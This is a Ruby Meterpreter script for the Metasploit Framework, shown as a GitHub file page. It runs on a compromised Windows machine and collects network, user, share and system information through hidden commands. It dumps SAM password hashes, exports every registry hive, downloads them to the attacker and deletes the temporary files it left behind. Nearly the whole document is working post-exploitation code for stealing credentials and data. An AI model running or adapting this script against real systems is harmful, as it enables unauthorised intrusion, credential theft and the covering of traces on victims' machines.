-
Notifications
You must be signed in to change notification settings - Fork 0
/
scraper.rb
164 lines (130 loc) · 4.34 KB
/
scraper.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
# This is a Meterpreter script designed to be used by the Metasploit Framework
#
# The goal of this script is to obtain system information from a victim through
# an existing Meterpreter session. This is only a simple example of what can
# be accomplished through Meterpreter scripting.
#
# hdm[at]metasploit.com
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("Scraper -- harvest system info including network shares, registry hives and password hashes")
print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper"))
print_line("USAGE: run scraper")
print_line(opts.usage)
raise Rex::Script::Completed
end
}
require 'fileutils'
# Some of this script was developed in conjunction with _MAX_ (max[at]remote-exploit.org)
# The complete version will be released in the future as 'autometer'
# Delete a file (meterpreter has no unlink API yet)
def m_unlink(client, path)
r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
while(r.name)
select(nil, nil, nil, 0.10)
end
r.close
end
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Exec a command and return the results
def m_exec(client, cmd)
begin
r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
b = ""
while(d = r.channel.read)
b << d
break if d == ""
end
r.channel.close
r.close
b
rescue ::Exception => e
print_error("Failed to run command #{cmd}")
print_error("Error: #{e.class} #{e}")
end
end
# Extract the host and port
host,port = client.session_host, client.session_port
print_status("New session on #{host}:#{port}...")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )
# Create the log directory
::FileUtils.mkdir_p(logs)
unsupported if client.platform !~ /win32|win64/i
begin
tmp = client.fs.file.expand_path("%TEMP%")
print_status("Gathering basic system information...")
::File.open(File.join(logs, "network.txt"), "w") do |fd|
fd.puts("=" * 70)
client.net.config.each_route do |route|
fd.puts("Local subnet: #{route.subnet}/#{route.netmask}")
end
fd.puts("=" * 70)
fd.puts(m_exec(client, "netstat -na"))
fd.puts("=" * 70)
fd.puts(m_exec(client, "netstat -ns"))
end
info = client.sys.config.sysinfo()
::File.open(File.join(logs, "system.txt"), "w") do |fd|
fd.puts("Computer: #{info['Computer']}")
fd.puts("OS: #{info['OS']}")
end
::File.open(File.join(logs, "env.txt"), "w") do |fd|
fd.puts(m_exec(client, "cmd.exe /c set"))
end
::File.open(File.join(logs, "users.txt"), "w") do |fd|
fd.puts(m_exec(client, "net user"))
end
::File.open(File.join(logs, "shares.txt"), "w") do |fd|
fd.puts(m_exec(client, "net share"))
end
::File.open(File.join(logs, "services.txt"), "w") do |fd|
fd.puts(m_exec(client, "net start"))
end
::File.open(File.join(logs, "nethood.txt"), "w") do |fd|
fd.puts(m_exec(client, "net view"))
end
::File.open(File.join(logs, "localgroup.txt"), "w") do |fd|
fd.puts(m_exec(client, "net localgroup"))
end
::File.open(File.join(logs, "group.txt"), "w") do |fd|
fd.puts(m_exec(client, "net group"))
end
::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd|
fd.puts(m_exec(client, "systeminfo"))
end
begin
client.core.use("priv")
hashes = client.priv.sam_hashes
print_status("Dumping password hashes...")
::File.open(File.join(logs, "hashes.txt"), "w") do |fd|
hashes.each do |user|
fd.puts(user.to_s)
end
end
rescue ::Exception => e
print_status("Error dumping hashes: #{e.class} #{e}")
end
print_status("Obtaining the entire registry...")
hives = %w{HKCU HKLM HKCC HKCR HKU}
hives.each do |hive|
print_status(" Exporting #{hive}")
tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg"
m_exec(client, "reg.exe export #{hive} #{tempname}")
print_status(" Downloading #{hive} (#{tempname})")
client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname)
print_status(" Cleaning #{hive}")
m_unlink(client, tempname)
end
print_status("Completed processing on #{host}:#{port}...")
rescue ::Exception => e
print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end